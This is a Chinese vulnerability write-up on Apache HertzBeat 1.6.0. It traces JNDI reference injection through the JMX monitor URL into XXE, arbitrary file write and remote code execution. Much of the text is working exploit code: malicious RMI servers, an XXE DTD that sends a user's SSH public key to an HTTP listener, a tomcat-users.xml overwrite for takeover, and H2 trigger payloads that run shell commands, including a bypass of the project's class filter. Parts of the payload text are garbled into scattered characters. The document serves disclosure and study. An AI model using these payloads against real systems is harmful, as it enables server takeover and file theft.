0x01 简介
Apache HertzBeat (incubating) 是一个易用友好的开源实时监控告警系统,无需 Agent,高性能集群,兼容 Prometheus,提供强大的自定义监控和状态页构建能力。
0x02 漏洞介绍
这里我和springkill在1.6.0版本给官方保送了两次,一个是xxe和文件写入,另一个为远程命令执行,合并到一起。
0x03 漏洞分析
首先来看一下触发点,apacheHertzBeat后台是可以配置jmx去连接服务器获取服务器的各种配置信息的,也就是说我们可控jmx的连接配置。
org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl#getConnectSession
private JMXConnector getConnectSession(JmxProtocol jmxProtocol) throws IOException {
......
String url;
if (jmxProtocol.getUrl() != null) {
url = jmxProtocol.getUrl();
} else {
url = JMX_URL_PREFIX + jmxProtocol.getHost() + ":" + jmxProtocol.getPort() + JMX_URL_SUFFIX;
}
......
JMXServiceURL jmxServiceUrl = new JMXServiceURL(url);
conn = JMXConnectorFactory.connect(jmxServiceUrl, environment);
connectionCommonCache.addCache(identifier, new JmxConnect(conn));
return conn;
}
这里会从jmxProtocol获取url,然后JMXConnectorFactory.connect进行连接。但是系统为jdk17,显然是不能加载远程class的,所以我们可以给予本地reference进行利用。
xxe analysis
由于tomcat版本太高,导致beanFactory.noForceString,但是找到了MemoryUserDatabaseFactory来做xe和文件写入。
org.apache.catalina.users.MemoryUserDatabaseFactory
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
return null;
} else {
MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
RefAddr ra = null;
ra = ref.get("pathname");
if (ra != null) {
database.setPathname(ra.getContent().toString());
}
ra = ref.get("readonly");
if (ra != null) {
database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
}
ra = ref.get("watchSource");
if (ra != null) {
database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString()));
}
database.open();
if (!database.getReadonly()) {
database.save();
}
return database;
}
} else {
return null;
}
........
可以看到从ref获取到传递的值后,会调用database.open();如果readonly为false,则会调用database.save();
org.apache.catalina.users.MemoryUserDatabase#open
public void open() throws Exception {
this.writeLock.lock();
try {
this.users.clear();
this.groups.clear();
this.roles.clear();
String pathName = this.getPathname();
try {
ConfigurationSource.Resource resource = ConfigFileLoader.getSource().getResource(pathName);
try {
this.lastModified = resource.getLastModified();
Digester digester = new Digester();
try {
digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
} catch (Exception var13) {
Exception e = var13;
log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), e);
}
digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this),
它根据路径名发起本地或者远程文件访问,并使用commons-digest解析返回的XML内容,所以这里可以进行XXE。
arbitrary file write analysis
如果 readonly 为 false,则调用 database.save()。
org.apache.catalina.users.MemoryUserDatabase#save
if (this.getReadonly()) {
log.error(sm.getString("memoryUserDatabase.readOnly"));
} else if (!this.isWritable()) {
log.warn(sm.getString("memoryUserDatabase.notPersistable"));
} else {
File fileNew = new File(this.pathnameNew);
if (!fileNew.isAbsolute()) {
fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
}
this.writeLock.lock();
try {
try {
FileOutputStream fos = new FileOutputStream(fileNew);
try {
OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8);
try {
PrintWriter writer = new PrintWriter(osw);
try {
writer.println("<?xml version='1.0' encoding='utf-8'?>");
writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\"");
writer.print(" ");
writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"");
writer.print(" ");
writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"");
writer.println(" version=\"1.0\">");
Iterator<?> values = null;
for(values = this.getRoles(); values.hasNext(); writer.println("/>")) {
Role role = (Role)values.next();
writer.print(" <role rolename=\"");
writer.print(Escape.xml(role.getRolename()));
writer.print("\"");
if (null != role.getDescription()) {
writer.print(" description=\"");
writer.print(Escape.xml(role.getDescription()));
writer.print("\"");
}
}
values = this.getGroups();
…
可以发现,从pathname获取到的文件然后拼接上System.getProperty(“catalina.base”)进行写入,写入的是tomcat配置用户文件。也就是说,你可以控制生成文件的位置,导致文件被写入。
tomcat下的二次注入去命令执行
org.apache.hertzbeat.manager.Manager#init
public void init() {
System.setProperty("jdk.jndi.object.factoriesFilter", "!com.zaxxer.hikari.HikariJNDIFactory");
}
在1.6.0中,过滤了com.zaxxer.hikari.HikariJNDIFactory,所以我们需要找一个替代的类或者有什么办法去绕过这个检测。
最后发现在 tomcat 中发现 org.apache.naming.factory.FactoryBase,可导致二次引用注入,从而绕过针对 CVE-2023-51653 的修复,执行任意代码。
org.apache.naming.factory.FactoryBase#getObjectInstance
public final Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (this.isReferenceTypeSupported(obj)) {
Reference ref = (Reference)obj;
Object linked = this.getLinked(ref);
if (linked != null) {
return linked;
} else {
ObjectFactory factory = null;
RefAddr factoryRefAddr = ref.get("factory");
if (factoryRefAddr != null) {
String factoryClassName = factoryRefAddr.getContent().toString();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
Class<?> factoryClass = null;
NamingException ex;
try {
if (tcl != null) {
factoryClass = tcl.loadClass(factoryClassName);
} else {
factoryClass = Class.forName(factoryClassName);
}
} catch (ClassNotFoundException var14) {
ClassNotFoundException e = var14;
ex = new NamingException(sm.getString("factoryBase.factoryClassError"));
ex.initCause(e);
throw ex;
}
try {
factory = (ObjectFactory)factoryClass.getConstructor().newInstance();
} catch (Throwable var15) {
......
}
} else {
factory = this.getDefaultFactory(ref);
}
if (factory != null) {
return factory.getObjectInstance(obj, name, nameCtx, environment);
} else {
throw new NamingException(sm.getString("factoryBase.instanceCreationError"));
}
}
} else {
return null;
}
}
这里我们可以控制工厂,并赋值给一个可利用的工厂,工厂会自动初始化,然后调用factory.getObjectInstance,这样就足够进行二次引用利用了。这里我们将工厂改为com.zaxxer.hikari.HikariJNDIFactory,绕过过滤检测,触发HikariJNDIFactory加载org.h2.Driver,从而触发任意代码执行漏洞。
com.zaxxer.hikari.HikariJNDIFactory#getObjectInstance
public synchronized Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj instanceof Reference && "javax.sql.DataSource".equals(((Reference)obj).getClassName())) {
Reference ref = (Reference)obj;
Set<String> hikariPropSet = PropertyElf.getPropertyNames(HikariConfig.class);
Properties properties = new Properties();
Enumeration<RefAddr> enumeration = ref.getAll();
while(true) {
RefAddr element;
String type;
do {
if (!enumeration.hasMoreElements()) {
return this.createDataSource(properties, nameCtx);
}
......
}
com.zaxxer.hikari.HikariJNDIFactory#createDataSource
private DataSource createDataSource(Properties properties, Context context) throws NamingException {
String jndiName = properties.getProperty("dataSourceJNDI");
return (DataSource)(jndiName != null ? this.lookupJndiDataSource(properties, context, jndiName) : new HikariDataSource(new HikariConfig(properties)));
}
这里调用createDataSource创建jdbc连接,从而触发h2加载任意代码。
在jdk17上是没有js引擎,所以h2调用js是走不通的。
h2withoutjs 执行代码
这里通过分析h2的流程成功找到不需要js也能执行的办法。
H2 在解析 init 参数时,会对 CreateTrigger 进行 LoadFromsource 特殊处理,根据内容开头判断是否由 Javasc Ript 引擎执行,如果以 //javascript/Nashorn/groovy 开头,则会编译 javascript/Nashorn /groovy引擎并执行。但根据我的研究,Create Trigger 时,我可以直接控制生成 Trigger 的代码,这样在不需要任何引擎都可以执行任何代码,在不限制 JDK 版本的情况下,无疑是巨大的风险。
org.h2.command.ddl.CreateTrigger#update
在创建JDBC连接的时候,如果设置了Trigger,那么就会创建TriggerObject。这里的Triggersource,TriggerName,我们都可以控制。
org.h2.schema.TriggerObject#setTriggerAction
完成后会加载到这里
org.h2.util.SourceCompiler#getClass
就是对一些类进行处理,最后利用Javac编译出恶意的Java代码
将恶意的Trigger和Class放入Map中,最后使用LoadClass来加载这个恶意类。
这样就可以通过jmx返回一个二次reference去打jdbc利用。
0x04 环境搭建以及复现
搭建
这里我们可以直接在官网下载对应的二进制版本,https://hertzbeat.apache.org/zh-cn/docs/download,然后在bin目录下执行 startup.sh启动即可。
访问http://localhost:1157开始,默认账户:admin/hertzbeat
xxe
恶意 RMIServer Ref
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class rmiref {
private static String command = “/System/Applications/Calculator.app/Contents/MacOS/Calculator”;
public static ResourceRef exploit() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8080/exp.xml"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}
恶意的ext.dtd :
<!ENTITY % bbb SYSTEM "file:///Users/snake/.ssh/id_rsa.pub"><!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'http://127.0.0.1:8080?p=%bbb;'>">恶意的exp.xml :
<?xml version="1.0" encoding="UTF-8"?>%aaa;%ccc;%ddd;]>然后使用python创建一个http服务
在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填入service:jmx:rmi:///jndi/rmi://ip:port/object,http返回包会读取文件内容。
服务报错,然后读取文件内容。
Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is org.xml.sax.SAXParseException; systemId: http://127.0.0.1:8080?p=ssh-rsa%20XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXxx=%20XXXXXXXXXXXXXX@qq.com; lineNumber: 1; columnNumber: 3; The markup declarations contained or pointed to by the document type declaration must be well-formed.]
arbitrary file write poc
恶意 RMIServer Ref
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class rmiref {
private static String command = “/System/Applications/Calculator.app/Contents/MacOS/Calculator”;
public static ResourceRef exploit() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "/tmp/deadbeef"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}
在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填写service:jmx:rmi:///jndi/rmi://ip:port/object,
提交后会在/tmp中生成DeadBeef
如果本地环境变量里有catalina.base,我们就可以写入Tomcat-users.xml来接管Tomcat。
恶意RMIServer Ref
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class rmiref {
private static String command = “/System/Applications/Calculator.app/Contents/MacOS/Calculator”;
public static ResourceRef exploit() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}
tomcat-users.xml
org.apache.catalina.users.MemoryUserDatabase#save
fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
假设catalina.base=/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/…/conf/TOMCAT-users.xml
他们形成的文件路径是/usr/apache-tomcat-8.5.73/http:127.0.0.1:8888/…/conf/tomcat-ssesers.xml
getpaRentfile获取/usr/apache-tomcat-8.5.73/http:127.0.0.1:8888/…/conf/
这个在Windows下是没问题的,但是如果是Linux系统,则需要目录是必须存在的。
rce
由于org.apache.naming.factory.FactoryBase是抽象类,这里factory就填它的子类就行了。
它的四个子类。
org.apache.naming.factory.EjbFactory
org.apache.naming.factory.ResourceEnvFactory
org.apache.naming.factory.ResourceFactory
org.apache.naming.factory.TransactionFactory
构造恶意引用并使其在 JNDI 连接时返回。
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class refrce {
public static ResourceRef exploit() throws Exception {
String url= “jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS
v
o
i
d
U
N
A
M
4
(
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
.
e
x
e
c
(
o
¨
p
e
n
−
a
c
a
l
c
u
l
a
t
o
r
)
¨
;
void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}
voidUNAM4()throwsExceptionRuntime.getRuntime().exec(o¨pen−acalculator)¨;”;
ResourceRef ref = new ResourceRef(“javax.sql.DataSource”, null,“”,“”,true,“org.apache.naming.factory.ResourceFactory”,null);
ref.add(new StringRefAddr(“factory”, “com.zaxxer.hikari.HikariJNDIFactory”));
ref.add(new StringRefAddr(“driverClassName”, “org.h2.Driver”));
ref.add(new StringRefAddr("jdbcUrl", url));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}
在/API/Monitor/Detect接口提交数据,填写service:jmx:rmi:///jndi/rmi://ip:port/object,即可执行命令。
本来准备下版本交的,可是白名单了。利用LookupRef来进行二次注入
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.LookupRef;
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class refrce {
public static Object exploit() throws Exception {
String url= “jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS
v
o
i
d
U
N
A
M
4
(
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
.
e
x
e
c
(
o
¨
p
e
n
−
a
c
a
l
c
u
l
a
t
o
r
)
¨
;
void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}
voidUNAM4()throwsExceptionRuntime.getRuntime().exec(o¨pen−acalculator)¨;”;
LookupRef ref = new LookupRef(“javax.sql.DataSource”, “org.apache.naming.factory.LookupFactory”, null, null);
ref.add(new StringRefAddr(“factory”, “com.zaxxer.hikari.HikariJNDIFactory”));
ref.add(new StringRefAddr(“driverClassName”, “org.h2.Driver”));
ref.add(new StringRefAddr("jdbcUrl", url));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}
0x05 修复方式
官方直接使用暴力方式进行修复,采用白名单。
private static final String[] WHITE_PRE_LIST = new String[]{
"java.",
"javax.management.",
"org.apache.hertzbeat.",
"org.springframework.util.",
"com.sun.",
"sun.",
"org.slf4j.",
"jdk.",
"org.w3c.dom."
};
只允许以上面开头的类进行加载。
tips
其实现在已经很多系统都对reference进行检查,希望通过这个列子对大家实战中提供一遍帮助。